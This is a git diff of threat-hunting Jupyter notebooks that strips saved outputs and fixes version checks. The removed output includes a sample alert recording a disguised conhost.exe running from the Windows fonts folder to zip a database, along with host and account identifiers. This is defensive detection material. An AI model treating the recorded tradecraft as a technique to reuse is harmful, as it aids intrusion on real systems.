"\u001b[1;32mpandas/_libs/tslibs/c_timestamp.pyx\u001b[0m in \u001b[0;36mpandas._libs.tslibs.c_timestamp._Timestamp._assert_tzawareness_compat\u001b[1;34m()\u001b[0m\n", - "\u001b[1;31mTypeError\u001b[0m: Cannot compare tz-naive and tz-aware timestamps" - ] - } - ], + "outputs": [], "source": [ "\n", "related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", @@ -1397,310 +469,14 @@ }, { "cell_type": "code", - "execution_count": 12, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-15T23:29:19.615661Z", "start_time": "2020-05-15T23:29:19.546661Z" } }, - "outputs": [ - { - "data": { - "text/markdown": [ - "### Click on alert to view details." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - 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" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "

Alert: 'Suspicious system process executed'

\n", - " Alert_time: 2019-02-14 11:51:38,\n", - " Compr_entity: MSTICAlertsWin1,\n", - " Alert_id: 2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
2
TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-14 11:52:06
AlertDisplayNameSuspicious system process executed
AlertNameSuspicious system process executed
SeverityMedium
DescriptionThe system process c:\\windows\\fonts\\conhost.exe was observed running in an abnormal context. Malware often use this process name to masquerade its malicious activity.
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalId65a3fe73-0832-427a-aab3-06edc2c27f0a
SystemAlertId2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeSuspiciousSystemProcess
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentFalse
StartTimeUtc2019-02-14 11:51:38
EndTimeUtc2019-02-14 11:51:38
ProcessingEndTime2019-02-14 11:52:07
RemediationSteps[\\r\\n \"1. Run Process Explorer and try to identify unknown running processes (see https://technet.microsoft.com/en-us/sysinternals/bb896653.aspx)\",\\r\\n \"2. Make sure the machine is completely updated and has an updated anti-malware application installed\",\\r\\n \"3. Run a full anti-malware scan and verify that the threat was removed\",\\r\\n \"4. Install and run Microsoft’s Malicious Software Removal Tool (see https://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx)\",\\r\\n \"5. Run Microsoft’s Autoruns utility and try to identify unknown applications that are configured to run at login (see https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx)\"\\r\\n]
ExtendedProperties{'domain name': 'MSTICAlertsWin1', 'user name': 'MSTICALERTSWIN1\\MSTICAdmin', 'process name': 'c:\\windows\\fonts\\conhost.exe', 'command line': 'c:\\windows\\fonts\\conhost.exe zip archive.mdb', 'parent process': 'rundll32.exe', 'process id': '0x119c', 'account logon id': '0x78225e', 'User SID': 'S-1-5-21-996632719-2361334927-4038480536-500', 'parent process id': '0x12b0', 'System Process': 'CONHOST.EXE', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'rundll32.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x12b0', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x78225e'}, {'$id': '8', 'Directory': 'c:\\windows\\fonts', 'Name': 'conhost.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x119c', 'CommandLine': 'c:\\windows\\fonts\\conhost.exe zip archive.mdb', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-14T11:51:38.4888669Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x78225e', 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z', 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
ComputerMSTICAlertsWin1
src_hostnameMSTICAlertsWin1
src_accountname
src_procname
host_matchTrue
acct_matchFalse
proc_matchFalse
CompromisedEntityMSTICAlertsWin1

ExtendedProperties:

\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
0
domain nameMSTICAlertsWin1
user nameMSTICALERTSWIN1\\MSTICAdmin
process namec:\\windows\\fonts\\conhost.exe
command linec:\\windows\\fonts\\conhost.exe zip archive.mdb
parent processrundll32.exe
process id0x119c
account logon id0x78225e
User SIDS-1-5-21-996632719-2361334927-4038480536-500
parent process id0x12b0
System ProcessCONHOST.EXE
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\rundll32.exe',, 'Name': 'rundll32.exe',, 'Type': 'file'}
{ 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\rundll32.exe',, 'Name': 'rundll32.exe',, 'Type': 'file'},, 'ProcessId': '0x12b0',, 'Type': 'process'}
{ 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x78225e',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'}
{ 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\fonts',, 'FullPath': 'c:\\\\windows\\\\fonts\\\\conhost.exe',, 'Name': 'conhost.exe',, 'Type': 'file'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x78225e',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'CommandLine': 'c:\\\\windows\\\\fonts\\\\conhost.exe zip archive.mdb',, 'CreationTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'ElevationToken': 'Default',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\windows\\\\fonts',, 'FullPath': 'c:\\\\windows\\\\fonts\\\\conhost.exe',, 'Name': 'conhost.exe',, 'Type': 'file'},, 'ParentProcess': { 'AdditionalData': {},, 'CommandLine': '',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'ImageFile': { 'AdditionalData': {},, 'Directory': 'c:\\\\w!ndows\\\\system32',, 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\rundll32.exe',, 'Name': 'rundll32.exe',, 'Type': 'file'},, 'ProcessId': '0x12b0',, 'Type': 'process'},, 'ProcessId': '0x119c',, 'Type': 'process'}
{ 'Account': { 'AdditionalData': {},, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'IsDomainJoined': False,, 'LogonId': '0x78225e',, 'NTDomain': 'MSTICAlertsWin1',, 'Name': 'MSTICAdmin',, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500',, 'Type': 'account'},, 'AdditionalData': {},, 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'Host': { 'AdditionalData': {},, 'DnsDomain': '',, 'HostName': 'MSTICALERTSWIN1',, 'IsDomainJoined': False,, 'NTDomain': '',, 'NetBiosName': 'MSTICALERTSWIN1',, 'OSFamily': 'Windows',, 'Type': 'host'},, 'SessionId': '0x78225e',, 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'Type': 'host-logon-session'}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "def disp_full_alert(alert):\n", " global related_alert\n", @@ -3357,7 +2133,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index 07e61769..ccdb0181 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -119,7 +119,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", diff --git a/Guided Investigation - MDATP Webshell Alerts.ipynb b/Guided Investigation - MDATP Webshell Alerts.ipynb index dbfb906e..0f23144c 100644 --- a/Guided Investigation - MDATP Webshell Alerts.ipynb +++ b/Guided Investigation - MDATP Webshell Alerts.ipynb @@ -90,7 +90,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -275,9 +275,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "scrolled": false - }, + "metadata": {}, "outputs": [], "source": [ "command_investigation_query = f'''\n", @@ -481,9 +479,7 @@ { "cell_type": "code", "execution_count": null, - "metadata": { - "scrolled": false - }, + "metadata": {}, "outputs": [], "source": [ "attackerip = iis_data['AttackerIP']\n", @@ -724,9 +720,9 @@ ], "metadata": { "kernelspec": { - "display_name": "webshell_investigation", + "display_name": "Python (condadev)", "language": "python", - "name": "webshell_investigation" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -738,7 +734,14 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.8.2" + "version": "3.6.10" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "state": {}, + "version_major": 2, + "version_minor": 0 + } } }, "nbformat": 4, diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index 5745da24..c0ae22c1 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -72,105 +72,14 @@ }, { "cell_type": "code", - "execution_count": 1, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:10:54.830029Z", "start_time": "2020-05-16T02:10:50.255047Z" } }, - "outputs": [ - { - "data": { - "text/html": [ - "

Starting Notebook setup...

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking Python kernel version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Python kernel version 3.6.10 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "Checking msticpy version..." - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "msticpy version 0.6.0 OK" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Processing imports....\n", - "Checking configuration....\n", - "\n", - "The following configuration errors were found: \n", - " -----------------------------------------------\n", - "TIProviders/AzureSentinel: Missing or invalid WorkspaceID.\n", - "TIProviders/AzureSentinel: Missing or invalid TenantID.\n", - "\n", - "The following configuration warnings were found: \n", - " -------------------------------------------------\n", - "No AzureCLI section in settings.\n", - "Setting options....\n" - ] - }, - { - "data": { - "text/html": [ - "

Notebook setup failed

" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "from pathlib import Path\n", "import os\n", @@ -194,7 +103,7 @@ " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " check_mp_ver(REQ_MSTICPY_VER)\n", " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", @@ -235,7 +144,7 @@ }, { "cell_type": "code", - "execution_count": 2, + "execution_count": null, "metadata": {}, "outputs": [], "source": [ @@ -245,177 +154,14 @@ }, { "cell_type": "code", - "execution_count": 2, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:11:20.062429Z", "start_time": "2020-05-16T02:10:57.597153Z" } }, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Please wait. Loading Kqlmagic extension...\n" - ] - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.reconnect();} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - " \n", - "
\n", - " \n", - " \n", - "
\n", - "\n", - " \n", - "\n", - " " - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "# Authentication\n", "ws_config = WorkspaceConfig()\n", @@ -436,57 +182,14 @@ }, { "cell_type": "code", - "execution_count": 3, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:11:21.408605Z", "start_time": "2020-05-16T02:11:21.347607Z" } }, - "outputs": [ - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "05994b56b69e41bfb51004e49ea18f2b", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HTML(value='

Set query time boundaries

')" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "9a083f546d65423a94341112bd82f69b", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "HBox(children=(DatePicker(value=datetime.date(2020, 6, 25), description='Origin Date'), Text(value='16:54:35.9…" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.jupyter.widget-view+json": { - "model_id": "a891f7840e6d4259b2a0dd43b5ad8e18", - "version_major": 2, - "version_minor": 0 - }, - "text/plain": [ - "VBox(children=(IntRangeSlider(value=(-24, 1), description='Time Range (hour):', layout=Layout(width='80%'), ma…" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "outputs": [], "source": [ "alert_q_times = nbwidgets.QueryTime(\n", " units='hour', max_before=72, max_after=1, before=24\n", @@ -496,553 +199,14 @@ }, { "cell_type": "code", - "execution_count": 4, + "execution_count": null, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:07.827669Z", "start_time": "2020-05-16T02:14:02.907988Z" } }, - "outputs": [ - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "5 distinct alert types\n", - "315 distinct alerts\n" - ] - }, - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"1001\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = 